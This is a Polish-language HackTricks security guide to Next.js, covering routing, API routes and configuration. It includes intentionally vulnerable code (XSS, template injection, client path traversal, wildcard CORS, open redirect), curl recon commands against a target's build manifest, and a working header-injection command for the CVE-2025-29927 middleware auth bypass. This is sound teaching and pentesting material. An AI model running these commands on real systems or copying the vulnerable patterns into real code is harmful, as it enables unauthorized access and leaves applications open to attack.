NextJS
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Ogólna architektura aplikacji Next.js
Typowa struktura plików
Standardowy projekt Next.js stosuje określoną strukturę plików i katalogów, która ułatwia korzystanie z funkcji takich jak routing, punkty końcowe API i zarządzanie zasobami statycznymi. Oto typowy układ:
my-nextjs-app/
├── node_modules/
├── public/
│ ├── images/
│ │ └── logo.png
│ └── favicon.ico
├── app/
│ ├── api/
│ │ └── hello/
│ │ └── route.ts
│ ├── layout.tsx
│ ├── page.tsx
│ ├── about/
│ │ └── page.tsx
│ ├── dashboard/
│ │ ├── layout.tsx
│ │ └── page.tsx
│ ├── components/
│ │ ├── Header.tsx
│ │ └── Footer.tsx
│ ├── styles/
│ │ ├── globals.css
│ │ └── Home.module.css
│ └── utils/
│ └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json
Główne katalogi i pliki
- public/: Przechowuje zasoby statyczne takie jak obrazy, fonty i inne pliki. Pliki tutaj są dostępne pod ścieżką główną (
/). - app/: Główny katalog dla stron aplikacji, layoutów, komponentów i tras API. Wykorzystuje paradygmat App Router, umożliwiając zaawansowane funkcje routingu oraz rozdzielenie komponentów serwerowych i klienta.
- app/layout.tsx: Definiuje główny układ aplikacji, obejmujący wszystkie strony i dostarczający spójne elementy UI, takie jak nagłówki, stopki i paski nawigacji.
- app/page.tsx: Służy jako punkt wejścia dla trasy głównej
/, renderując stronę główną. - app/[route]/page.tsx: Obsługuje trasy statyczne i dynamiczne. Każdy folder w
app/reprezentuje segment trasy, apage.tsxw tych folderach odpowiada za komponent trasy. - app/api/: Zawiera trasy API, pozwalając na tworzenie funkcji serverless obsługujących żądania HTTP. Te trasy zastępują tradycyjny katalog
pages/api. - app/components/: Zawiera wielokrotnego użytku komponenty React, które można wykorzystywać na różnych stronach i w layoutach.
- app/styles/: Zawiera globalne pliki CSS i CSS Modules do stylowania ograniczonego do komponentów.
- app/utils/: Zawiera funkcje pomocnicze, moduły narzędziowe i inną logikę nie-UI, którą można współdzielić w aplikacji.
- .env.local: Przechowuje zmienne środowiskowe specyficzne dla lokalnego środowiska deweloperskiego. Zmienne te nie są dodawane do kontroli wersji.
- next.config.js: Dostosowuje zachowanie Next.js, w tym konfiguracje webpack, zmienne środowiskowe i ustawienia bezpieczeństwa.
- tsconfig.json: Konfiguruje ustawienia TypeScript dla projektu, włączając sprawdzanie typów i inne funkcje TypeScript.
- package.json: Zarządza zależnościami projektu, skryptami i metadanymi.
- README.md: Zawiera dokumentację i informacje o projekcie, w tym instrukcje instalacji, zasady użytkowania i inne istotne szczegóły.
- yarn.lock / package-lock.json: Blokują zależności projektu do konkretnych wersji, zapewniając spójne instalacje w różnych środowiskach.
Warstwa kliencka w Next.js
Routing oparty na plikach w katalogu app
Katalog app jest fundamentem routingu w najnowszych wersjach Next.js. Wykorzystuje system plików do definiowania tras, co sprawia, że zarządzanie trasami jest intuicyjne i skalowalne.
Obsługa ścieżki głównej /
File Structure:
my-nextjs-app/
├── app/
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Kluczowe pliki:
app/page.tsx: Obsługuje żądania do ścieżki głównej/.app/layout.tsx: Definiuje layout aplikacji, otaczając wszystkie strony.
Implementacja:
tsxCopy code// app/page.tsx
export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}
Wyjaśnienie:
- Definicja trasy: Plik
page.tsxbezpośrednio w kataloguappodpowiada trasie/. - Renderowanie: Ten komponent renderuje zawartość strony głównej.
- Integracja layoutu: Komponent
HomePagejest opakowany przezlayout.tsx, który może zawierać nagłówki, stopki i inne wspólne elementy.
Obsługa innych statycznych ścieżek
Przykład: trasa /about
Struktura plików:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── about/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementacja:
// app/about/page.tsx
export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}
Wyjaśnienie:
- Definicja trasy: Plik
page.tsxwewnątrz folderuaboutodpowiada trasie/about. - Renderowanie: Ten komponent renderuje zawartość strony
/about.
Dynamiczne trasy
Dynamiczne trasy pozwalają obsługiwać ścieżki z zmiennymi segmentami, umożliwiając aplikacjom wyświetlanie treści na podstawie parametrów, takich jak ID, slugi itp.
Przykład: trasa /posts/[id]
Struktura plików:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── posts/
│ │ └── [id]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementacja:
tsxCopy code// app/posts/[id]/page.tsx
import { useRouter } from 'next/navigation';
interface PostProps {
params: { id: string };
}
export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'
return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}
Wyjaśnienie:
- Dynamic Segment:
[id]oznacza segment dynamiczny w trasie, przechwytując parametridz URL. - Accessing Parameters: Obiekt
paramszawiera parametry dynamiczne, dostępne w komponencie. - Route Matching: Każda ścieżka pasująca do
/posts/*, taka jak/posts/1,/posts/abc, itd., będzie obsługiwana przez ten komponent.
Zagnieżdżone trasy
Next.js obsługuje zagnieżdżone routowanie, umożliwiając hierarchiczne struktury tras odzwierciedlające układ katalogów.
Przykład: trasa /dashboard/settings/profile
Struktura plików:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── dashboard/
│ │ ├── settings/
│ │ │ └── profile/
│ │ │ └── page.tsx
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementacja:
tsxCopy code// app/dashboard/settings/profile/page.tsx
export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}
Wyjaśnienie:
- Głębokie zagnieżdżenie: The
page.tsxfile insidedashboard/settings/profile/corresponds to the/dashboard/settings/profileroute. - Odwzorowanie hierarchii: The directory structure reflects the URL path, enhancing maintainability and clarity.
Trasy catch-all
Trasy catch-all obsługują wiele zagnieżdżonych segmentów lub nieznane ścieżki, zapewniając elastyczność w obsłudze tras.
Przykład: /* trasa
Struktura plików:
my-nextjs-app/
├── app/
│ ├── [...slug]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementacja:
// app/[...slug]/page.tsx
interface CatchAllProps {
params: { slug: string[] }
}
export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`
return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}
Wyjaśnienie:
- Catch-All Segment:
[...slug]przechwytuje wszystkie pozostałe segmenty ścieżki jako tablicę. - Usage: Przydatne do obsługi scenariuszy dynamicznego routingu, takich jak ścieżki generowane przez użytkowników, zagnieżdżone kategorie itp.
- Route Matching: Ścieżki takie jak
/anything/here,/foo/bar/bazitd. są obsługiwane przez ten komponent.
Potencjalne podatności po stronie klienta
Chociaż Next.js zapewnia bezpieczne fundamenty, niewłaściwe praktyki kodowania mogą wprowadzić podatności. Kluczowe podatności po stronie klienta obejmują:
Cross-Site Scripting (XSS)
Ataki XSS zdarzają się, gdy złośliwe skrypty są wstrzykiwane do zaufanych stron. Atakujący mogą uruchamiać skrypty w przeglądarkach użytkowników, kraść dane lub wykonywać działania w imieniu użytkownika.
Przykład podatnego kodu:
// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}
Dlaczego jest to podatne: Używanie dangerouslySetInnerHTML z niezaufanym inputem pozwala atakującym wstrzykiwać złośliwe skrypty.
Client-Side Template Injection
Występuje, gdy dane użytkownika są nieprawidłowo obsługiwane w szablonach, co pozwala atakującym na wstrzyknięcie i wykonanie szablonów lub wyrażeń.
Przykład podatnego kodu:
import React from "react"
import ejs from "ejs"
function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}
Dlaczego jest to podatne: Jeśli template lub data zawierają złośliwą zawartość, może to prowadzić do wykonania niezamierzonego kodu.
Client Path Traversal
Jest to podatność, która pozwala atakującym manipulować ścieżkami po stronie klienta (client-side), aby wykonać niezamierzone działania, takie jak Cross-Site Request Forgery (CSRF). W przeciwieństwie do server-side path traversal, który atakuje system plików serwera, CSPT koncentruje się na wykorzystywaniu mechanizmów po stronie klienta do przekierowywania prawidłowych żądań API na złośliwe endpointy.
Przykład podatnego kodu:
Aplikacja Next.js pozwala użytkownikom na upload i download plików. Funkcja download jest zaimplementowana na client-side, gdzie użytkownicy mogą określić file path do pobrania.
// pages/download.js
import { useState } from "react"
export default function DownloadPage() {
const [filePath, setFilePath] = useState("")
const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}
return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}
Scenariusz ataku
- Attacker’s Objective: Wykonać atak CSRF, aby usunąć krytyczny plik (np.
admin/config.json) manipulującfilePath. - Wykorzystanie CSPT:
- Malicious Input: Atakujący przygotowuje URL z zmanipulowanym
filePath, np.../deleteFile/config.json. - Resulting API Call: Kod po stronie klienta wykonuje żądanie do
/api/files/../deleteFile/config.json. - Server’s Handling: Jeśli serwer nie waliduje
filePath, przetwarza żądanie, potencjalnie usuwając lub ujawniając wrażliwe pliki.
- Wykonanie CSRF:
- Crafted Link: Atakujący wysyła ofierze link lub osadza złośliwy skrypt, który wyzwala żądanie pobrania z zmanipulowanym
filePath. - Outcome: Ofiara nieświadomie wykonuje akcję, prowadząc do nieautoryzowanego dostępu do plików lub ich usunięcia.
Recon: static export route discovery via _buildManifest
When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.
- Grab the buildId from the root response (often printed at the bottom) or from
<script>tags loading/_next/static/<buildId>/.... - Fetch the manifest and extract routes:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
- Użyj odkrytych ścieżek (na przykład
/docs,/docs/content/examples,/signin) aby kierować auth testing i endpoint discovery.
Po stronie serwera w Next.js
Renderowanie po stronie serwera (SSR)
Strony są renderowane na serwerze przy każdym żądaniu, co zapewnia użytkownikowi w pełni wyrenderowany HTML. W takim przypadku powinieneś utworzyć własny niestandardowy serwer do obsługi żądań.
Zastosowania:
- Dynamiczna treść, która często się zmienia.
- Optymalizacja SEO, ponieważ wyszukiwarki mogą indeksować w pełni wyrenderowaną stronę.
Implementacja:
// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Statyczne generowanie stron (SSG)
Strony są wstępnie renderowane podczas budowania, co skutkuje szybszym czasem ładowania i zmniejszeniem obciążenia serwera.
Zastosowania:
- Treść, która nie zmienia się często.
- Blogi, dokumentacja, strony marketingowe.
Implementacja:
// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Funkcje serverless (API Routes)
Next.js pozwala na tworzenie endpointów API jako funkcji serverless. Te funkcje uruchamiają się na żądanie, bez potrzeby dedykowanego serwera.
Zastosowania:
- Obsługa przesyłania formularzy.
- Interakcja z bazami danych.
- Przetwarzanie danych lub integracja z API stron trzecich.
Implementacja:
Wraz z wprowadzeniem katalogu app w Next.js 13, routing i obsługa API stały się bardziej elastyczne i wydajne. To nowoczesne podejście dobrze współgra z systemem routingu opartym na plikach, lecz wprowadza rozszerzone możliwości, w tym wsparcie dla komponentów po stronie serwera i klienta.
Podstawowy obsługiwacz tras
Struktura plików:
my-nextjs-app/
├── app/
│ └── api/
│ └── hello/
│ └── route.js
├── package.json
└── ...
Implementacja:
// app/api/hello/route.js
export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))
Wyjaśnienie:
- Lokalizacja: Trasy API znajdują się w katalogu
app/api/. - Nazewnictwo plików: Każdy endpoint API znajduje się w osobnym folderze zawierającym plik
route.jslubroute.ts. - Eksportowane funkcje: Zamiast pojedynczego domyślnego eksportu eksportuje się funkcje dla konkretnych metod HTTP (np.
GET,POST). - Obsługa odpowiedzi: Użyj konstruktora
Responsedo zwracania odpowiedzi, co daje większą kontrolę nad nagłówkami i kodami statusu.
Jak obsłużyć inne ścieżki i metody:
Obsługa konkretnych metod HTTP
Next.js 13+ pozwala na definiowanie handlerów dla konkretnych metod HTTP w tym samym pliku route.js lub route.ts, co prowadzi do czytelniejszego i bardziej uporządkowanego kodu.
Przykład:
// app/api/users/[id]/route.js
export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Wyjaśnienie:
- Multiple Exports: Każda metoda HTTP (
GET,PUT,DELETE) ma swoją własną eksportowaną funkcję. - Parameters: Drugi argument umożliwia dostęp do parametrów trasy przez
params. - Enhanced Responses: Większa kontrola nad obiektami odpowiedzi, umożliwiając precyzyjne zarządzanie nagłówkami i kodami statusu.
Trasy catch-all i zagnieżdżone
Next.js 13+ obsługuje zaawansowane funkcje routingu, takie jak trasy catch-all oraz zagnieżdżone trasy API, co pozwala na bardziej dynamiczne i skalowalne struktury API.
Przykład trasy catch-all:
// app/api/[...slug]/route.js
export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Wyjaśnienie:
- Składnia:
[...]oznacza segment typu catch-all, przechwytujący wszystkie zagnieżdżone ścieżki. - Zastosowanie: Przydatne dla API, które muszą obsługiwać ścieżki o różnej głębokości lub dynamiczne segmenty.
Przykład zagnieżdżonych tras:
// app/api/posts/[postId]/comments/[commentId]/route.js
export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}
Wyjaśnienie:
- Głębokie zagnieżdżanie: Umożliwia hierarchiczne struktury API, odzwierciedlając relacje między zasobami.
- Dostęp do parametrów: Umożliwia łatwy dostęp do wielu parametrów trasy za pomocą obiektu
params.
Obsługa tras API w Next.js 12 i wcześniejszych
Trasy API w katalogu pages (Next.js 12 i wcześniejsze)
Zanim Next.js 13 wprowadził katalog app i rozszerzone możliwości routingu, trasy API były głównie definiowane w katalogu pages. Podejście to jest nadal szeroko stosowane i obsługiwane w Next.js 12 i starszych wersjach.
Podstawowa trasa API
Struktura plików:
goCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── hello.js
├── package.json
└── ...
Implementacja:
javascriptCopy code// pages/api/hello.js
export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}
Wyjaśnienie:
- Lokalizacja: Trasy API znajdują się w katalogu
pages/api/. - Eksport: Użyj
export default, aby zdefiniować funkcję obsługi. - Sygnatura funkcji: Funkcja obsługi otrzymuje obiekty
req(żądanie HTTP) ires(odpowiedź HTTP). - Mapowanie: Nazwa pliku (
hello.js) odpowiada endpointowi/api/hello.
Dynamiczne trasy API
Struktura plików:
bashCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── users/
│ └── [id].js
├── package.json
└── ...
Implementacja:
javascriptCopy code// pages/api/users/[id].js
export default function handler(req, res) {
const {
query: { id },
method,
} = req;
switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
Wyjaśnienie:
- Dynamic Segments: Nawiasy kwadratowe (
[id].js) oznaczają dynamiczne segmenty tras. - Accessing Parameters: Użyj
req.query.id, aby uzyskać dostęp do dynamicznego parametru. - Handling Methods: Wykorzystaj logikę warunkową do obsługi różnych metod HTTP (
GET,PUT,DELETE, itd.).
Obsługa różnych metod HTTP
Choć podstawowy przykład trasy API obsługuje wszystkie metody HTTP w jednej funkcji, możesz zorganizować kod tak, aby każdą metodę obsługiwać osobno — dla lepszej czytelności i łatwiejszego utrzymania.
Przykład:
javascriptCopy code// pages/api/posts.js
export default async function handler(req, res) {
const { method } = req;
switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
Najlepsze praktyki:
- Oddzielenie odpowiedzialności: Wyraźnie oddziel logikę dla różnych metod HTTP.
- Spójność odpowiedzi: Zapewnij spójne struktury odpowiedzi, aby ułatwić obsługę po stronie klienta.
- Obsługa błędów: Obsługuj nieobsługiwane metody i nieoczekiwane błędy w sposób elegancki.
Konfiguracja CORS
Kontroluj, które originy mogą uzyskać dostęp do tras API, zmniejszając podatności związane z Cross-Origin Resource Sharing (CORS).
Zły przykład konfiguracji:
// app/api/data/route.js
export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}
Zauważ, że CORS można również skonfigurować we wszystkich trasach API wewnątrz pliku middleware.ts:
// app/middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")
const response = NextResponse.next()
if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}
// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}
return response
}
export const config = {
matcher: "/api/:path*", // Apply to all API routes
}
Problem:
Access-Control-Allow-Origin: '*': Pozwala każdej stronie internetowej uzyskać dostęp do API, co może umożliwić złośliwym stronom interakcję z Twoim API bez ograniczeń.- Wide Method Allowance: Zezwolenie na wszystkie metody może umożliwić atakującym wykonywanie niepożądanych działań.
How attackers exploit it:
Atakujący mogą tworzyć złośliwe strony, które wysyłają żądania do Twojego API, potencjalnie nadużywając funkcji takich jak pobieranie danych, modyfikacja danych lub wywoływanie niepożądanych akcji w imieniu uwierzytelnionych użytkowników.
CORS - Misconfigurations & Bypass
Wyeksponowanie kodu serwera po stronie klienta
Może być łatwo użyć kodu wykorzystywanego przez serwer również w kodzie wystawionym i używanym po stronie klienta; najlepszym sposobem, aby upewnić się, że plik z kodem nigdy nie zostanie ujawniony po stronie klienta, jest użycie tego importu na początku pliku:
import "server-only"
Kluczowe pliki i ich role
middleware.ts / middleware.js
Lokalizacja: Katalog główny projektu lub w src/.
Cel: Wykonuje kod w funkcji serverless po stronie serwera zanim żądanie zostanie przetworzone, umożliwiając zadania takie jak uwierzytelnianie, przekierowania lub modyfikacja odpowiedzi.
Przebieg wykonania:
- Nadchodzące żądanie: middleware przechwytuje żądanie.
- Przetwarzanie: Wykonuje operacje na podstawie żądania (np. sprawdzenie authentication).
- Modyfikacja odpowiedzi: Może zmienić odpowiedź lub przekazać kontrolę do następnego handlera.
Przykładowe zastosowania:
- Przekierowywanie nieuwierzytelnionych użytkowników.
- Dodawanie niestandardowych nagłówków.
- Rejestrowanie żądań.
Przykładowa konfiguracja:
// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}
export const config = {
matcher: ["/protected/:path*"],
}
Middleware authorization bypass (CVE-2025-29927)
Jeśli autoryzacja jest egzekwowana w middleware, podatne wydania Next.js (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) można obejść przez wstrzyknięcie nagłówka x-middleware-subrequest. Framework pominie rekursję middleware i zwróci chronioną stronę.
- Baseline behavior is typically a 307 redirect to a login route like
/api/auth/signin. - Wyślij długą wartość
x-middleware-subrequest(powtarzającmiddleware, aby osiągnąćMAX_RECURSION_DEPTH), aby zmienić odpowiedź na 200:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
- Ponieważ uwierzytelnione strony pobierają wiele subzasobów, dodaj nagłówek do każdego żądania (np. Burp Match/Replace z pustym ciągiem dopasowania), aby zapobiec przekierowywaniu zasobów.
next.config.js
Lokalizacja: Katalog główny projektu.
Cel: Konfiguruje zachowanie Next.js, włączając lub wyłączając funkcje, dostosowując konfiguracje webpack, ustawiając zmienne środowiskowe oraz konfigurując kilka funkcji bezpieczeństwa.
Kluczowe konfiguracje bezpieczeństwa:
Nagłówki bezpieczeństwa
Nagłówki bezpieczeństwa zwiększają bezpieczeństwo Twojej aplikacji, instruując przeglądarki, jak obsługiwać zawartość. Pomagają łagodzić różne ataki, takie jak Cross-Site Scripting (XSS), Clickjacking oraz wykrywanie typu MIME:
- Content Security Policy (CSP)
- X-Frame-Options
- X-Content-Type-Options
- Strict-Transport-Security (HSTS)
- Referrer Policy
Przykłady:
// next.config.js
module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
Ustawienia optymalizacji obrazów
Next.js optymalizuje obrazy pod kątem wydajności, ale błędne konfiguracje mogą prowadzić do luk bezpieczeństwa, takich jak umożliwienie niezaufanym źródłom wstrzykiwania złośliwych treści.
Przykład złej konfiguracji:
// next.config.js
module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}
Problem:
'*': Pozwala na ładowanie obrazów z dowolnego zewnętrznego źródła, łącznie z niezaufanymi lub złośliwymi domenami. Atakujący mogą hostować obrazy zawierające złośliwy ładunek lub treści wprowadzające użytkowników w błąd.- Innym problemem może być zezwolenie domenie gdzie każdy może przesłać obraz (np.
raw.githubusercontent.com)
How attackers abuse it:
Wstrzykując obrazy z złośliwych źródeł, atakujący mogą przeprowadzać ataki phishingowe, wyświetlać wprowadzające w błąd informacje lub wykorzystywać luki w bibliotekach renderujących obrazy.
Ekspozycja zmiennych środowiskowych
Zarządzaj poufnymi informacjami, takimi jak klucze API i poświadczenia bazy danych, bezpiecznie, nie ujawniając ich klientowi.
a. Ujawnianie poufnych zmiennych
Zły przykład konfiguracji:
// next.config.js
module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Not exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for exposure to client
},
}
Problem:
SECRET_API_KEY: Bez prefiksuNEXT_PUBLIC_, Next.js nie udostępnia zmiennych po stronie klienta. Jednak jeśli zostanie omyłkowo poprzedzony prefiksem (np.NEXT_PUBLIC_SECRET_API_KEY), staje się dostępny po stronie klienta.
How attackers abuse it:
Jeśli wrażliwe zmienne są ujawnione po stronie klienta, atakujący mogą je pozyskać, analizując kod po stronie klienta lub żądania sieciowe, uzyskując nieautoryzowany dostęp do APIs, baz danych lub innych usług.
Przekierowania
Zarządzaj przekierowaniami URL i rewrites w aplikacji, zapewniając, że użytkownicy są kierowani prawidłowo, bez wprowadzania open redirect vulnerabilities.
a. Open Redirect Vulnerability
Zły przykład konfiguracji:
// next.config.js
module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}
Problem:
- Dynamic Destination: Pozwala użytkownikom określić dowolny adres URL, umożliwiając open redirect attacks.
- Trusting User Input: Przekierowania do adresów URL podanych przez użytkowników bez walidacji mogą prowadzić do phishing, malware distribution, or credential theft.
How attackers abuse it:
Atakujący mogą stworzyć URL-e, które wyglądają, jakby pochodziły z twojej domeny, ale przekierowują użytkowników na złośliwe strony. Na przykład:
https://yourdomain.com/redirect?url=https://malicious-site.com
Użytkownicy ufający oryginalnej domenie mogą nieświadomie trafić na złośliwe strony internetowe.
Konfiguracja Webpack
Dostosowywanie konfiguracji Webpacka dla aplikacji Next.js może niezamierzenie wprowadzić luki w zabezpieczeniach, jeśli nie będzie wykonywane ostrożnie.
a. Ujawnianie wrażliwych modułów
Przykład złej konfiguracji:
// next.config.js
module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}
Problem:
- Ujawnianie wrażliwych ścieżek: Aliasowanie wrażliwych katalogów i umożliwienie dostępu po stronie klienta może spowodować leak poufnych informacji.
- Pakowanie sekretów: Jeśli wrażliwe pliki są bundled dla klienta, ich zawartość stanie się dostępna przez source maps lub podczas inspekcji kodu po stronie klienta.
How attackers abuse it:
Atakujący mogą uzyskać dostęp do lub odtworzyć strukturę katalogów aplikacji, co może doprowadzić do znalezienia i wykorzystania wrażliwych plików lub danych.
pages/_app.js i pages/_document.js
pages/_app.js
Cel: Nadpisuje domyślny komponent App, pozwalając na globalny stan, style i komponenty układu.
Zastosowania:
- Wstrzykiwanie globalnego CSS.
- Dodawanie wrapperów układu.
- Integracja bibliotek zarządzania stanem.
Przykład:
// pages/_app.js
import "../styles/globals.css"
function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}
export default MyApp
pages/_document.js
Cel: Nadpisuje domyślny Document, umożliwiając dostosowanie tagów HTML i Body.
Zastosowania:
- Modyfikowanie tagów
<html>lub<body>. - Dodawanie meta tagów lub niestandardowych skryptów.
- Integracja czcionek zewnętrznych.
Przykład:
// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"
class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}
export default MyDocument
Serwer niestandardowy (Opcjonalnie)
Cel: Chociaż Next.js ma wbudowany serwer, możesz stworzyć serwer niestandardowy dla zaawansowanych zastosowań, takich jak niestandardowe routowanie lub integracja z istniejącymi usługami backendowymi.
Uwaga: Korzystanie z serwera niestandardowego może ograniczyć opcje wdrożenia, szczególnie na platformach takich jak Vercel, które optymalizują działanie pod wbudowany serwer Next.js.
Przykład:
// server.js
const express = require("express")
const next = require("next")
const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()
app.prepare().then(() => {
const server = express()
// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})
// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})
server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})
Dodatkowe rozważania architektoniczne i dotyczące bezpieczeństwa
Zmienne środowiskowe i konfiguracja
Cel: Zarządzanie wrażliwymi informacjami i ustawieniami konfiguracyjnymi poza bazą kodu.
Najlepsze praktyki:
- Używaj plików
.env: Przechowuj zmienne, takie jak klucze API, w.env.local(wyłączonym z kontroli wersji). - Dostęp do zmiennych w sposób bezpieczny: Używaj
